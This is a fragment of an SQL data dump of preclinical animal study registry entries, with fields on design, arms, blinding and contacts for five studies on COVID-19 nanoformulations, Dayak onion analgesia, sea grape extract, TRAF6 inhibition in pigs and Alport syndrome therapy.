	(9582,260,'title','\"EVALUATION OF A NANOSTRUCTURED AMPARO SYSTEM FOR THE TREATMENT OF COVID-19\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9583,260,'short_title','\"NANO-BASED AMPARO FOR COVID-19\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9584,260,'contact_name','\"Joseph Miller Molina\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9585,260,'contact_email','\"joseph.miller@ofjoseph.com\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9586,260,'study_centre','[{\"name\":\"University of Pernambuco\",\"city\":\"Recife\",\"country\":\"BR\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9587,260,'contact_role','\"Business Director\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9588,260,'start_date','\"2021-09-01\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9589,260,'end_date','\"2022-03-31\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9590,260,'study_status','\"active\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9591,260,'research_field','\"nanotoxicology\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9592,260,'hypothesis','\"The AMPARO nano-based system is able of deposit on the surface of the respiratory airways without causing damage to the local and systemic environment of the host.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9593,260,'intervention_type','\"compound\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9594,260,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9595,260,'primary_readout_parameter','\"Pulmonary deposition of the AMPARO system after nebulized compund exposure \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9596,260,'secondary_readout_parameter','\"Screening for cellular and tissue damage after nebulized compund exposure \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9597,260,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9598,260,'species','\"mouse\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9599,260,'strain','\"Swiss\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9600,260,'sex','\"female\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9601,260,'sample_size_calculation','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9602,260,'sample_size_calculation_details','\"Considering possible variation the amount of animals per group was n= 06 with 2 independent experiments. A total of 4 experimental groups (n= 12 each) including 6 time points (Day 0, 1, 7, 14, 30 and 60). Six animals (n= 06) were included for supply any death or other damage during the experimentation.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9603,260,'sum_of_animals','\"294\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9604,260,'study_arms','[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"saline solution 0.9%\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"biomolecule not encapsulated \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"AMPARO system\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"empty nanostructured system\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9605,260,'randomisation','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9606,260,'randomisation_method_used','\"other\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9607,260,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9608,260,'yes_blinded_intervention_how_details','\"The investigator will perform the admnistration of controls and interventions and will obtain the samples that will be send to invetigator blinding the origin of them\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9609,260,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9610,260,'yes_blinded_assessment_partially_details','\"The samples are going to be identified with codes criated by sample code banks\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9611,260,'placebo_controlled','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9612,260,'original_animal_ethics_committee_application','\"http:\\/\\/www.upe.br\\/ceua.html\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9613,260,'application_number','\"Ethics Committee for the use of animals experimentation (CEUA, University of Pernambuco), approval 10\\/2020\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9614,260,'link_to_data','\"not applicable \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9615,260,'financial_support','[\"industry\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9616,260,'experimental_design','\"During the experimental period, the animals will be kept with free access to their own feed and filtered water ad libitum, in an environment with a temperature of 23 \\u00b1 1\\u00b0C and a 12-hour light\\/dark cycle. The animals will be divided into 4 (four) groups of 6 (six) animals each, in order to ensure the monitoring of possible variations in the same experimental group and\\/or between different experimental groups. Treatments will be performed through nasal-pulmonary or oral administration of 1 (one) single dose of:\\no biomolecule solution in sterile 0.9% saline solution \\u2013 (Biomolec);\\no Empty nanoparticles in sterile 0.9% saline solution \\u2013 (NP);\\no AMPARO formulations in sterile 0.9% saline solution \\u2013 (AMPARO);\\no 0.9% sterile saline, negative control \\u2013(C).\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9617,260,'has_embargo','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9618,263,'title','\"Evaluation of Dayak Onion (Eleutherine bulbosa Mill. Urb) Infusion as Analgesic Alternative in Mice (Mus musculus Linnaeus, 1758)\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9619,263,'short_title','\"Evaluation of Dayak Onion (Eleutherine bulbosa Mill. Urb) Infusion as Analgesic \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9620,263,'contact_name','\"Fahrul Nurkolis\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9621,263,'contact_role','\"Research group supervisor\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9622,263,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9623,263,'study_centre','[{\"name\":\"Biological Sciences, Faculty of Sciences and Technology UIN Sunan Kalijaga\",\"city\":\"Yogyakarta\",\"country\":\"ID\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9624,263,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9625,263,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9626,263,'research_field','\"Medicine, Natural Product, Medicinal Plant\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9627,263,'hypothesis','\"Changes in attitude of going back to nature as it is currently causing various impacts, one of which is the application to several medicinal plants. One of the medicinal plants still used by certain people until now is dayak onion. The purpose of this study was to analyze differences in effect of dayak onion infusion in mice and to know the effective consentration of dayak onion infusion as an analgesic. \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9628,263,'intervention_type','\"compound\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9629,263,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9630,263,'primary_readout_parameter','\"After injecting acetic acid intraperitoneally, writhing in mice can be seen in a relatively short time. The writhing is calculated when the mouse moves on its hind legs stretched to the back followed by an emphasis stomach to the floor. These writhings were observed, counted, and recorded every 5 minutes for 60 minutes.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9631,263,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9632,263,'species','\"mouse\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9633,263,'other_species','\"Mice\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9634,263,'strain','\"Mus musculus Linnaeus, 1758\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9635,263,'sex','\"male\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9636,263,'sum_of_animals','\"18 (Eighteen) mice\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9637,263,'sample_size_calculation','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9638,263,'experimental_design','\"Before testing, mice were fasted for \\u00b118 hours but were still given water (ad libitum). Then on the test day, the weight of the mice was weighed before being given treatment. Twelve mice were divided into 4 groups, namely group A (dayak onion infusion 0.08 g\\/ml) Group B (dayak onion infusion 0.16 g\\/ml) Group C (dayak onion infusion 0.24 g\\/ml) and D (control\\/aquadest). Mice were given Dayak onion infusion by means of gastric probe. After 30 minutes, the mice were injected with 0.6% acetic acid as much as 2 ml intraperitoneally.\\nAccording to Shimizu (2004), intraperitoneal injection is commonly used because the technique is easy and the large surface area of the peritoneal cavity and the large blood supply allows a fast absorption rate. In addition, if the drug or solution is administered intraperitoneally, the drug can directly enter the systemic blood so that the drug can work optimally without any first-stage degradation in the liver.\\nAfter injecting acetic acid intraperitoneally, writhing in mice can be seen in a relatively short time. The writhing is calculated when the mouse moves on its hind legs stretched to the back followed by an emphasis stomach to the floor. These writhings were observed, counted, and recorded every 5 minutes for 60 minutes.\\nThe data obtained from the observations were presented in the form of tables and graphs and analyzed using the ANOVA statistical method one-way and if there was a significant difference, the DMRT test (Duncan Multiple Range Test) was carried out with a 95% confidence level, and used Orthogonal Polynomial analysis. In addition, a calculation of the percent protection by both test and standard drug the material was also carried out, namely the ability of the test material to reduce the writhing response of mice caused by acetic acid induction, was calculated using the Henderson and Forsalt formula (Sasongko et al., 2016):\\n% protection = 100 - [(P\\/ K) x 100 %]\\nInformation:\\nP = The cumulative average number of writhings of the experimental animals in the treatment group\\nK = The cumulative average number of writhings of the negative control test animals (Turner, 1965)\\n\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9639,263,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9640,263,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9641,263,'has_embargo','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9642,263,'randomisation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9643,263,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9644,263,'start_date','\"2020-08-08\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9645,263,'end_date','\"2020-09-19\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9646,263,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9647,263,'sample_size_calculation_details','\"This is a preliminary study whose new results will be used for the determination of the next test sample. Therefore, this study did not use the sample formula.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9648,263,'study_arms','[{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Dayak onion infusion 0.08 g\\/ml\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Dayak onion infusion 0.16 g\\/ml\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Dayak onion infusion 0.24 g\\/ml\"},{\"type\":\"control\",\"number\":\"3\",\"intervention\":\"Control (aqaudest)\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9649,264,'title','\"Effect of Caulerpa lentifera extract on lipid profile and PGC-1\\u03b1 levels in rats fed a high fat and cholesterol diet\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9650,264,'contact_name','\"Fahrul Nurkolis\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9651,264,'contact_role','\"executive researcher\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9652,264,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9653,264,'study_centre','[{\"name\":\"Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University\",\"city\":\"Manado\",\"country\":\"ID\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9654,264,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9655,264,'start_date','\"2021-08-22\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9656,264,'end_date','\"2021-09-30\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9657,264,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9658,264,'research_field','\"Paediatric Nutrition, Functional Food\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9659,264,'hypothesis','\"Is the sea grapes (Caulerpa lentifera) extract improved blood glucose, total cholesterol, and PGC-1\\u03b1 levels in male Wistar rats on a cholesterol and fat rich diet (CFED)?\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9660,264,'intervention_type','\"compound\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9661,264,'other_intervention_type','\"Extract\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9662,264,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9663,264,'primary_readout_parameter','\"After 4 weeks of treatment, the rats were sacrificed for blood samples to be taken for examination of Blood glucose, total cholesterol, and PGC-1\\u03b1 levels.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9664,264,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9665,264,'species','\"rat\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9666,264,'other_species','\"Wistar\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9667,264,'strain','\"Wistar (Rattus novergicus)\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9668,264,'sex','\"male\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9669,264,'sum_of_animals','\"40 (Forty)\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9670,264,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Normal Diet (received standard dry pellet diet)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cholesterol- and Fat-Enriched Diet (CFED) Only\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cholesterol- and Fat-Enriched Diet (CFED) and administered 150 mg\\/20g BW of extract from sea grapes\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cholesterol- and Fat-Enriched Diet (CFED) and administered 450 mg\\/20g BW of extract from sea grapes\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9671,264,'randomisation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9672,264,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9673,264,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9674,264,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9675,264,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9676,264,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9677,264,'has_embargo','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9678,264,'sample_size_calculation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9679,264,'sample_size_calculation_details','\"Determination of the minimum sample using the formula (Supranto, J. (2000). Teknik Sampling Untuk Survei &amp; Eksprimen.), with the equation = (t-1) (r-1) &gt; 15. t= treatment r= replication t in this study is 3, then = (3-1) (r-1) &gt;15 4(r-1) &gt;15 4r-4&gt;15 r&gt;8.5 So the minimum sample for each group is &gt;8.5. So the researcher chose 10.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9680,264,'experimental_design','\"All experimental rats were kept on standard free access of feed and ad libitum water. The research was conducted at the Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University, Manado, Indonesia. Forty male Wistar albino rats (Rattus norvegicus) (4-5 weeks) weighing between 200-250 g were obtained from the Animal Husbandry Laboratory of Makassar, Indonesia, and transported to the study site. The animals were grouped and housed in cages and kept under standard laboratory conditions (temperature: 27 \\u00b1 2oC), with light and dark cycles (12\\/12 h). Rats were acclimatized to laboratory conditions for 10 days before the start of the experiment. The research protocol (use of experimental animals) refers to the Declaration of Helsinki and the Council for International Organizations of Medical Sciences (CIOMS). In addition, all experimental procedures were performed in accordance with the Institutional Animal Care and Use Committee using the ARRIVE Guidelines.\\nIn vivo study of sea grape extract to evaluate blood glucose, total cholesterol, and PGC-1\\u03b1 levels CFED Production:\\nCholesterol and fat-enriched diets (CFED) are standard rat food containing 1% cholic acid, 2% pure cholesterol powder, 20% fat (animal source\\/pork oil), and 2% corn oil. Additional components were added finely to the standard CFED and homogenized into a dough by the addition of 1000mL of distilled water. Small pellets were cut and allowed to dry at room temperature under sterile conditions. CFED was prepared weekly and stored at 4\\u00b0C until used to reduce oxidation. CFED consists of carbohydrates (43.57%), crude protein (12.38%), crude fiber (4.73%), crude fat (3.17%), cholesterol (2%), cholic acid (1%), animal fat (20%), corn oil (2%), total ash (4.3%), and moisture content (6.85%). Compared with a normal diet containing 58.1% carbohydrates, 16.51% crude protein, and 0% animal fat, all other components such as corn oil, cholesterol, and folic acid, did not change significantly. CFED production guidelines were carried out as previously described.\\nSea grape extract administration scheme:\\nAlbino wistar rats were randomly divided into four groups of ten each. Group A as control (receiving standard dry pellet diet). Group B rats were fed CFED for 4 weeks. Groups C and D rats were fed CFED and given sea grape extract 150 and 450 mg\\/20g body weight (BW) for 4 weeks, respectively. CFED and sea grape extract were administered orally.\\nSample collection:\\nThroughout the experiment, every effort was made to minimize the pain and suffering of the experimental animals. For this purpose after four weeks of extract treatment, rats were fasted overnight and euthanized under the anesthetic ketamine. 2.5 mL of blood samples were collected from cardiac muscle tissue and stored in dry and clean tubes without the addition of anticoagulants (Tiger-top tubes), to allow coagulation at room temperature. The sample was then centrifuged for 20 minutes at 3000 rpm. Finally, serum was collected for analysis of blood glucose, total cholesterol, and PGC-1\\u03b1.\\nBiomedical analysis of blood samples:\\nBlood glucose and cholesterol levels were tested using the COBAS Integra\\u00ae 400 plus analyzer (Roche). The sample was washed with 1% Phosphate Buffered Saline (PBS, pH 7.4) until the liquid was clear. Samples were centrifuged at 3000 rpm for 20 minutes to obtain pellets and supernatant. The supernatant was taken for PGC-1\\u03b1 assay. The concentration of PGC-1\\u03b1 was measured using a mouse PGC-1\\u03b1 ELISA Kit (Sunlong Biotech Co., Ltd).\\nData management and analysis:\\nThe data were statistically analyzed using the MANOVA\\/Multivariate ANOVA test. The Levene test is used to determine which posthoc test should be performed. In cases where the p-value of Levene\'s test is &lt;0.05 the Games-Howell test (equal variance is not assumed), and for p-values \\u200b\\u200b&gt;0.05 the Bonferroni test (presumed equal variance) is used. Statistical analysis was performed using SPPS 26.0 for the Windows version.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9681,265,'title','\"The effect of CD40-TRAF6 inhibition on atherosclerosis progression in pig\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9682,265,'short_title','\"CD40-TRAF6 inhibition in atherosclerosis\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9683,265,'contact_name','\"Winnie Vos\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9684,265,'contact_role','\"Executive researcher\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9685,265,'contact_email','\"w.g.vos@erasmusmc.nl\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9686,265,'study_centre','[{\"name\":\"Erasmus MC\",\"city\":\"Rotterdam\",\"country\":\"NL\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9687,265,'financial_support','[\"grants\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9688,265,'start_date','\"2021-07-01\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9689,265,'end_date','\"2023-04-30\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9690,265,'study_status','\"active\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9691,265,'research_field','\"Cardiovascular research\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9692,265,'hypothesis','\"What is the effect of TRAF6 inhibition on the progression of atherosclerosis in a large animal model?\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9693,265,'intervention_type','\"compound\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9694,265,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9695,265,'primary_readout_parameter','\"The primary readout parameter is atherosclerotic plaque size and severity, which will be measured at the end of the study (after three months on treatment). Plaque size will be measured on haematoxilin and eosin stained sections of the coronary arteries. Invasive imaging using IVUS, NIRS, and OCT and flow- and pressure measurements will contribute to plaque size data. Severity of the plaque can be assesed based on Vermani classifications and immunohistochemical stainings. \"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9696,265,'secondary_readout_parameter','\"The secondary readout parameters include immunological parameters, including serum levels of CCR2 and IL-6. Using flow cytometry immunological markers can be assesed in blood and secondary lymphoid organs such as the spleen and lymph nodes. \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9697,265,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9698,265,'species','\"pig\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9699,265,'strain','\"FH Bretonchelles Meishan minipigs homozygous for the LDLR R84C mutation\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9700,265,'sex','\"male\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9701,265,'sample_size_calculation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9702,265,'sample_size_calculation_details','\"Based on earlier studies we expect a decrease in plaque size of 25% with a SD of 19.2. We want to detect differences with an a=0.05 and a power of 0.8. Using the formula N= 2*(2.8*19.2\\/25)^2 = 9.2, we come to 10 animals per group. We expect 20% dropouts, making the total 13 animals per group.\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9703,265,'sum_of_animals','\"20\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9704,265,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Control\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"TRAF6 inhibitor\"}]','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9705,265,'randomisation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9706,265,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9707,265,'details_randomisation','\"stratified_randomisation\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9708,265,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9709,265,'yes_blinded_intervention_how_details','\"The investigators who administer the intervention are not blinded, as the injected compound is easily distinguished from the control based on the colour. The investigators that are performing the invasive imaging and flow- and pressure measurements are blinded. Before analyses the images will be coded so that the investigator analysing the images will be blinded as well.\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9710,265,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9711,265,'yes_blinded_assessment_partially_details','\"After the experiment the animals will gain a new identification number, to make sure the investigator is blinded again when performing the analysis of the material.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9712,265,'placebo_controlled','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9713,265,'application_number','\"AVD10100202013780\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9714,265,'experimental_design','\"FH Bretonchelles Meishan minipigs homozygous for the LDLR R84C mutation are used in this study. The animals are fed a high cholesterol diet for a total of nine months to ensure the development of atherosclerosis. After six months of high cholesterol diet the pigs receive three months of treatment or placebo (high cholesterol diet will continue). Before and after treatment we perform invasive imaging and flow- and pressure measurements of the coronary arteries. Blood is drawn at the beginning, halfway, and at the end of the experiment. After the pigs are sacrificed we take out the coronary arteries and other tissues for further immunohistochemical and flow cytometric analysis.\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9715,265,'has_embargo','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9716,266,'title','\"A Preclinical, Randomized, Double-Blind, Placebo-Controlled Study to Evaluate the Efficacy and Safety of Combination therapy to target CKD Progression in Mice with Alport Syndrome. \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9717,266,'short_title','\"COMB-CKD-I\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9718,266,'contact_name','\"Hans-Joachim Anders\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9719,266,'contact_role','\"Research group supervisor\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9720,266,'contact_email','\"hjanders@med.uni-muenchen.de\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9721,266,'study_centre','[{\"name\":\"PI Anders. LMU\",\"city\":\"Munich\",\"country\":\"DE\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9722,266,'financial_support','[\"grants\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9723,266,'start_date','\"2021-12-01\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9724,266,'end_date','\"2024-12-01\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9725,266,'study_status','\"not_started\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9726,266,'research_field','\"Nephrology.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9727,266,'hypothesis','\"Compared to monotherapy treatment, combination therapies increase the nephroprotective effect size in CKD in the sense of an additional extension of the kidney lifespan.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9728,266,'intervention_type','\"compound\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9729,266,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9730,266,'primary_readout_parameter','\"Kidney lifespan\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9731,266,'secondary_readout_parameter','\"GFR, Proteinuria, histomorphological parameters of kidney atrophy\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9732,266,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9733,266,'species','\"mouse\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9734,266,'strain','\"129-Col4A3tm1Dec-\\/-mice with Alport nephropathy\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9735,266,'sex','\"both\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9736,266,'experimental_design','\"Mice homozygous for the\\u00a0Col4a3tm1Dec\\u00a0targeted mutation develop glomerulonephritis and die at about 8.5 weeks of age. Survival time of homozygous mutant mice is extended to about 14 weeks of age in mice maintained on a mixed genetic background.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9737,266,'sample_size_calculation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9738,266,'sum_of_animals','\"80 in total and 20 per group.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9739,266,'study_arms','[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"vehicle\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Ramipril\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Ramipril+Empagliflozin\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Ramipril+Empagliflozin+Finerenone\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9740,266,'randomisation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9741,266,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9742,266,'details_randomisation','\"stratified_randomisation\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9743,266,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9744,266,'yes_blinded_intervention_partially_details','\"In the experiment, apart from the fact that the research object is not aware of the experimental information, the investigators do not know the group of the research object.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9745,266,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9746,266,'yes_blinded_assessment_partially_details','\"Only after the experiment is over and the data recording is completed, investigators will know the result\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9747,266,'placebo_controlled','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9748,266,'application_number','\"ROB-55.2-2532.Vet_02-20-223\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
